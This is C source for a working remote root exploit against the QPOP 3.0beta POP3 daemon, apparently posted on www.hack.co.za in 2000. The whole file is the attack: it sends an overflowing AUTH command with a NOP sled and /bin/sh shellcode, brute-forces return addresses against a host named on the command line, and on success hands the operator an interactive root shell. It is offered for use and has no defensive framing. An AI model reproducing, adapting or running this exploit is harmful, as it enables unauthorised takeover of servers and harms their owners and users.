/* * THIS IS PRIVATE CODE. DO NOT DISTRIBUTE. * * QPOP 3.0beta AUTH remote root stack overflow (linux x86 version) * * Compilation: * gcc -o qpop3b qpop3b.c * * Usage: * qpop3b host.to.own.com [src_prt] * * Automated brute-forcing code. No offset argument required. * */ #include #include #include #include #include #include #include #include #include #include #include #include #define BASE_ADDR 0xbfffd150 #define MAX_OFFSET 11951 #define STEP 500 #define DST_PRT 110 #define DELAY 0x05 #define INIT_RET 846 #define NUM_RETS 0x22 #define EXTRA 200 #define RET_DIFF 149 /* * Not completely accurate, but one assumes the user has sufficient * clues not to run this against a patched daemon. */ #define IDENT_STRING "version 3.0b" char c0de[] = /* * The shellcode must be from a slightly restricted charset. */ /* main: */ "\xeb\x1b" /* jmp callz */ /* start: */ "\x5e" /* popl %esi */ "\x89\xf3" /* movl %esi, %ebx */ "\x89\xf7" /* movl %esi, %edi */ "\x83\xc7\x07" /* addl $0x07, %edi */ "\x29\xc0" /* subl %eax, %eax */ "\xaa" /* stosb %al, %es:(%edi) */ "\x89\xf9" /* movl %edi, %ecx */ "\x89\xf0" /* movl %esi, %eax */ "\xab" /* stosl %eax, %es:(%edi) */ "\x89\xfa" /* movl %edi, %edx */ "\x29\xc0" /* subl %eax, %eax */ "\xab" /* stosl %eax, %es:(%edi) */ "\xb0\x08" /* movb $0x08, %al */ "\x04\x03" /* addb $0x03, %al */ "\xcd\x80" /* int $0x80 */ /* callz: */ "\xe8\xe0\xff\xff\xff" /* call start */ /* DATA */ "/bin/sh"; u_long resolve_host(u_char *host) { struct in_addr addr; struct hostent *host_ent; if ((addr.s_addr = inet_addr(host)) == -1) { host_ent = gethostbyname(host); if (!host_ent) return((u_long)0); memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length); } return(addr.s_addr); } void connect_shell(int sock) { u_char buf[8192] = {0}; fd_set fds; write(sock, "id; uname -a; cd /;\n", 20); for (;;) { FD_ZERO(&fds); FD_SET(0, &fds); FD_SET(sock, &fds); if (select(0xff, &fds, NULL, NULL, NULL) == -1) { perror("select choked"); exit(-1); } memset(buf, 0, sizeof(buf)); if (FD_ISSET(sock, &fds)) { if (recv(sock, buf, sizeof(buf) - 1, 0) == -1) { fprintf(stderr, "Connection closed by foreign host.\n"); exit(0); } fprintf(stderr, "%s", buf); } if (FD_ISSET(0, &fds)) { read(0, buf, sizeof(buf)); write(sock, buf, strlen(buf)); } } /* NOTREACHED */ } void check_exploit(int sock) { struct timeval time_val; u_char tmp[4096] = {0}; fd_set fds; u_int flag; if ((flag = fcntl(sock, F_GETFL, NULL)) == -1) { perror("fcntl F_GETFL"); exit(-1); } flag |= O_NONBLOCK; if (fcntl(sock, F_SETFL, flag) == -1) { perror("fcntl F_SETFL"); exit(-1); } time_val.tv_usec = 0; time_val.tv_sec = 15; FD_ZERO(&fds); FD_SET(sock, &fds); write(sock, "\nid;\n", 5); if ((select(sock + 1, &fds, NULL, NULL, &time_val)) == -1) { perror("select choked"); exit(-1); } recv(sock, tmp, sizeof(tmp) - 1, 0); if (!strstr(tmp, "uid=")) { fprintf(stderr, "unsuccessful.\n"); return; } fprintf(stderr, "successful.\n\nb00m\n\n"); flag = fcntl(sock, F_GETFL, NULL); flag ^= O_NONBLOCK; fcntl(sock, F_SETFL, flag); connect_shell(sock); /* NOTREACHED */ } u_char * overflow_buf(u_int offset) { u_char buf[4096] = {0}; u_long addr = BASE_ADDR + offset; int ret = 0, i = 0; memcpy(buf, "AUTH ", 5); ret = INIT_RET + RET_DIFF; memset(buf + 5, 0x90, sizeof(buf) - 5); memcpy(buf + ret - EXTRA - strlen(c0de), c0de, strlen(c0de)); ret -= RET_DIFF; for (i = 0; i < NUM_RETS; i++) { buf[ret++] = (addr & 0x000000ff); buf[ret++] = (addr & 0x0000ff00) >> 8; buf[ret++] = (addr & 0x00ff0000) >> 16; buf[ret++] = (addr & 0xff000000) >> 24; } ret += (-(sizeof(u_long) * NUM_RETS)) + RET_DIFF - sizeof(u_long) - 1; buf[ret--] = 0x00; buf[ret--] = 0x0a; buf[ret--] = 0x0a; return(strdup(buf)); } void exploit(u_long dst_ip, u_short src_prt, u_int offset) { struct sockaddr_in sin; u_char buf[8192] = {0}; u_char rcv[8192] = {0}; int sock, one = 1, *o_pt = &one; fprintf(stderr, "[exploit] : [0x%lx] : ", BASE_ADDR + offset); sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock == -1) { perror("socket allocation"); exit(-1); } if (src_prt) { struct sockaddr_in min; if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, o_pt, sizeof(one)) == -1) { perror("setsockopt SO_REUSEADDR"); exit(-1); } min.sin_family = AF_INET; min.sin_port = htons(src_prt); min.sin_addr.s_addr = INADDR_ANY; if (bind(sock, (struct sockaddr *)&min, sizeof(struct sockaddr)) == -1) { perror("bind to local port"); exit(-1); } } sin.sin_family = AF_INET; sin.sin_port = htons(DST_PRT); sin.sin_addr.s_addr = dst_ip; if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("connecting to pop daemon"); exit(-1); } if (recv(sock, rcv, sizeof(rcv) - 1, 0) == -1) { fprintf(stderr, "Connection closed by foreign host.\n"); exit(0); } if (!strstr(rcv, IDENT_STRING)) { fprintf(stderr, "POP daemon not vulnerable to the AUTH overflow.\n"); exit(0); } strncpy(buf, overflow_buf(offset), sizeof(buf) - 1); if (write(sock, buf, strlen(buf)) != strlen(buf)) { fprintf(stderr, "exploit(): truncated write()\n"); exit(0); } recv(sock, rcv, sizeof(rcv) - 1, 0); sleep(DELAY); check_exploit(sock); close(sock); } void usage(u_char *nomenclature) { fprintf(stderr, "usage:\t%s dst_host|ip\n", nomenclature); exit(0); } int main(int argc, char **argv) { u_long dst_ip = 0; u_short src_prt = 0; u_int i = 0; fprintf(stderr, "\nQPOP 3.0b AUTH overflow (linux x86)\n\n"); if (argc != 2 && argc != 3) { usage(argv[0]); /* NOTREACHED */ } signal(SIGPIPE, SIG_IGN); dst_ip = resolve_host(argv[1]); if (!dst_ip) { fprintf(stderr, "What kind of address is this: `%s`?\n", argv[1]); exit(-1); } if (argc == 3) src_prt = (u_short)atoi(argv[2]); for (i = 0; i < MAX_OFFSET; i += STEP) { exploit(dst_ip, src_prt, i); } fprintf(stderr, "\nExploitation unsuccessful.\n"); exit(0); } /* www.hack.co.za [25 September 2000]*/